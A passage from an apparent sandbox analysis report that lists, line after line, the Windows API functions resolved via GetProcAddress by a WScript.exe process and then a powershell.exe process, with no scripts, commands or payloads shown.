00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00004012) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00004012) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleWindow (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ShowWindow (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00004040) 